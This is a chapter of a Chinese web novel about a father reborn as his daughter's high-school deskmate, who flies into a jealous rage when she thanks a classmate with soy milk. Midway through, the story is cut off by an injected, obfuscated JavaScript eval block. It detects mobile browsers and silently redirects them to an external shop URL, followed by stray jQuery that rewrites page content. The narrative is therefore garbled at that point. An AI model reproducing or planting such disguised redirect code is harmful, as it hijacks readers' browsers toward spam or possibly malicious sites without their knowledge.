早晨的阳光透过教室窗户斜斜地洒进来,在课桌上切割出明暗交错的光斑。
空气里飘浮着粉笔灰和早餐食物的混合气味,同学们三三两两地聊着天,准备着第一节课的课本。
云荔站在裴澈的课桌旁,手里还保持着递出豆浆的姿势。
笑容僵在了脸上。
因为魏星燃那声压抑着暴怒的“云荔!你过来!”像深水炸雷一样在教室里炸开。
原本喧闹的教室瞬间安静了大半,无数道目光齐刷刷地投向这边。
云荔茫然地转过头,看向自己的座位方向。
魏星燃正被祁淮和夏禹一左一右按在椅子上,但他整个人都很暴躁。
还死死地盯着云荔,不对,是盯着她手里那杯已经送到裴澈手里的豆浆。
那眼神是一种显而易见的控诉。
好像自己干了什么大逆不道的事儿似的。
“怎么了?”云荔下意识地问了一句。
她不明白,为什么只是送杯豆浆感谢同学讲题,魏星燃会有这么大的反应。
爹味儿真就重到把自己当同桌的爹了?
“我让你过来!”
魏星燃又吼了一声。
他想站起来,但祁淮和夏禹按得很紧。
魏星燃挣扎了一下,课桌都被动作带得发出刺耳的摩擦声。
祁淮啧了一声,但手上的力道没松:“魏星燃,你**冷静点行不行?一杯豆浆而已,至于吗?”
“至于!”
魏星燃几乎是吼回去的。
“她凭什么给他买豆浆?!裴澈你他妈给我放下!”
裴澈抬起眼,平静地看向魏星燃。
他不仅没放下,反而当着所有人的面,喝了一口。
温热的液体滑过喉咙,他轻轻咽下然后才开口,声音平稳无波:“她给我的谢礼。我为什么不能喝?”
这已经是挑衅了。
魏星燃果然更生气了。
有种老父亲看到黄毛当面勾引自己闺女的感觉。
尽管魏星燃自己也知道现在这种暴怒,很容易被另外那几个人当成吃醋。
可他真忍不了裴澈这样挑衅!
“谢礼?谢什么礼?讲个题而已!”魏星燃气得眼睛都红了,“我也能讲!我讲得比他好!你怎么不给我买?!”
这话一出口,教室里响起几声抽气声。
几个女生交换着眼神,用口型说着“醋了醋了”,其他人也跟着点头表示同意。
云荔的脸一下子涨红了,不是害羞,是尴尬和莫名其妙。
她握着书包带的手指收紧,声音也提高了一点:“魏星燃!你发什么疯?我就是感谢裴澈昨天帮我讲题,你少给我扣帽子!”
魏星燃深吸一口气:“那你离他远点儿!男女有别懂不懂?你……”
他还没说完,云荔就皱起眉:“那咱俩坐同桌是不是还应该扯个帘子?”
魏星燃在身为云荔父亲的时候,从没被云荔这样怼过。
现在被她这有理有据的一句话给堵得上不来气。
又拉不下脸解释什么,只能在心里暗骂自己冲动。
江清妄已经快步走到云荔身边,温和的打起了圆场:“好了,都什么年代了,别这么说,都是很正常的同学交往而已。”
说完江清妄又看向云荔,眼神里带着安抚,“云荔,你别害怕,魏星燃就是偶尔脑子一抽嘴快而已,他……不是针对你。”
“那他针对谁?”云荔皱眉,“我就是送杯豆浆,他凭什么吼我?我错哪儿了?”
其实后边还有一句“真把自己当我爹了”,但这话攻击性太强,云荔没说出来。
魏星燃也像是有所感应,沉默了。
差点就把云荔当众拽出去交代真相。
最后还是生生忍住。
魏星燃看向裴澈,裴澈正在喝豆浆,好像什么都没听见似的。
但祁淮用手肘碰了碰裴澈的肩膀。
裴澈这才放下豆浆杯,站起身。
他比云荔高出一个头还多,黑色的身影挡在她和魏星燃之间,就是一堵人墙。
裴澈看着魏星燃,语气依然平静:“魏星燃,你吓到她了。”
祁淮差点白眼一翻就要给自己掐人中。
大哥,让你打圆场,你怎么还继续挑衅呢?
这对吗?
这不更拱火了吗?
但魏星燃只是叹了口气,然后颓然地垮下肩膀,祁淮和夏禹感觉到他不再挣扎,也松开了手。
魏星燃转身坐回椅子上,低着头,黑发垂下来遮住了眼睛。
他双手插进头发里,用力抓了抓,然后发出一声暴躁的叹息。
“……对不起。”他声音很低,而且轻得几乎听不见。
但裴澈自己也清楚,魏星燃这已经算是道歉了。
教室里安静得可怕。所有人都看着这一幕。
刚才还暴怒的魏星燃,现在真的跟裴澈低头了。
以魏星燃往日里表现出的性格,能让他认错简直比登天还难。
云荔她看着魏星燃低垂的脑袋,看着他紧握的拳头,心里那股委屈突然就散了,取而代之的是一种奇怪的……说不上具体的酸涩裹满心脏。
不知道是不是太想老爸了,她居然从魏星燃低头的侧脸上幻视到了自家那个抽象的老爸。
她张了张嘴,想说点什么,但话到嘴边又咽了回去。
裴澈侧过身,看向云荔:“回座位吧,快上课了。”
云荔点点头,放下书包,拿出课本,全程没敢看魏星燃一眼。
但余光里,她能感觉到魏星燃一直低着头,好像在沉思。
祁淮和夏禹对视一眼,耸耸肩,各自回了座位。
江清妄轻轻拍了拍魏星燃的肩膀,在耳边低声说了句什么,然后也走开了。
上课铃就在这时响起。
数学老师抱着教案走进教室,开始讲课。
但整个班的气氛依然诡异得安静。
魏星燃一直没抬头,云荔也听得心不在焉。
只有裴澈,依然坐得笔直,认真听着课,偶尔在笔记本上记点重点。
课间十分钟,魏星燃猛地站起身,椅子腿刮擦地面发出刺耳的声音。
他看也没看云荔,径直走出了教室。
云荔看着他的背影消失在门口,手指无意识地抠着课本的边角。
这个同桌……
真的非常古怪啊。
还有就是……真是太想老爸了吗?为什么有时候看魏星燃那么熟悉呢?
爸,妈,你们是不是太忙了,才没有空来梦里看我?
才让我看着同桌都忍不住想爸爸……
云荔垂下眼,把抠得皱皱巴巴的课本边角轻轻抚平。
那五人小团体的群
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17914547|213280||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
聊都快炸了。
【F5小分队】
夏禹:我靠我靠!豆浆修罗场!燃哥醋疯了!裴澈淡定喝豆浆的样子帅炸了!
祁淮:魏星燃那傻逼脑子被醋泡了吧?一杯豆浆至于?
裴澈:那杯豆浆确实不错,甜度刚好。
夏禹:你还敢说!燃哥刚才那眼神恨不得杀了你!他现在上哪儿去了?
江清妄:我看见魏星燃去天台了,我去看看他吧。
祁淮:别去,让他自己冷静。这孙子需要想清楚自己到底在发什么疯。
夏禹:所以燃哥到底为什么这么在意新同学啊?真的喜欢上了?
裴澈:不像。
祁淮:那像什么?
裴澈:不知道,但肯定不是普通男女之情,没有人追女孩把人家当需要被老母鸡护的幼崽的。
群里一下子沉默了。
裴澈收起手机,偏头看了一眼还在发呆的云荔,手里的笔转了个圈,最后啪嗒一声掉在了桌面上。
……
教学楼天台,风很大。
魏星燃靠在栏杆上,手里捏着一罐刚从自动贩卖机买的冰可乐,罐身凝结的水珠打湿了他的手指。
他仰头灌了一大口,冰凉的液体滑过喉咙,却浇不灭胸腔里那团火烧火燎的痛苦。
“我到底在干什么……”他低声骂了一句,声音沙哑。
看见云荔给裴澈送豆浆的那一瞬间,他确实有点过激了。
因为那是他的女儿,他从小捧在手心里长大的宝贝。
云荔应该给他买豆浆,应该对他笑,应该依赖他这个父亲才对!
而不是裴澈,不是对除他以外的任何一个男人。
即使现在,他这个父亲还不能认她,只能以“同桌”的身份待在她身边。
但魏星燃还是有点受不了。
受不了自家闺女对着别人笑,受不了她对别人好,受不了她可能……让自己这个换了身份的父亲连靠近的理由都没有了。
魏星燃狠狠把可乐罐捏扁,铝制外壳在他掌心变形,发出一串刺耳的声响。
身后传来脚步声。
魏星燃头都没回,他知道是谁。
江清妄走到他身边,和他并肩靠在栏杆上,看着楼下操场上奔跑的学生。
许久才轻声开口:“魏星燃,你对她……到底是什么感情?”
魏星燃沉默。
“如果只是同情转学生,你的反应太过了。”江清妄继续说,声音温和但一针见血,“如果是对她有别的想法……江焰月还在医院。”
“我没有!”魏星燃猛地转头“我对她没有那种想法!永远不会有!”
“那你为什么——”
“因为她像一个人。”
魏星燃打断他,憋红了脸给自己想出了一个毫无破绽的理由:“一个……我很重要的人。”
江清妄挑眉。
魏星燃转过头,重新看向远方。
手里捏着可乐罐子,魏星燃像是下定决心似的,对身边这个男妈妈属性爆棚的江清妄多了点信任:
“就当帮我个忙吧,别告诉云荔,但是也帮我,好歹照顾着她一点,别让她被欺负,别让她难过……”
“行吗?”
“求你了,我真的没办法了……”
江清妄没说话,看着这样的魏星燃,他只觉得这家伙好像下一秒就要碎了。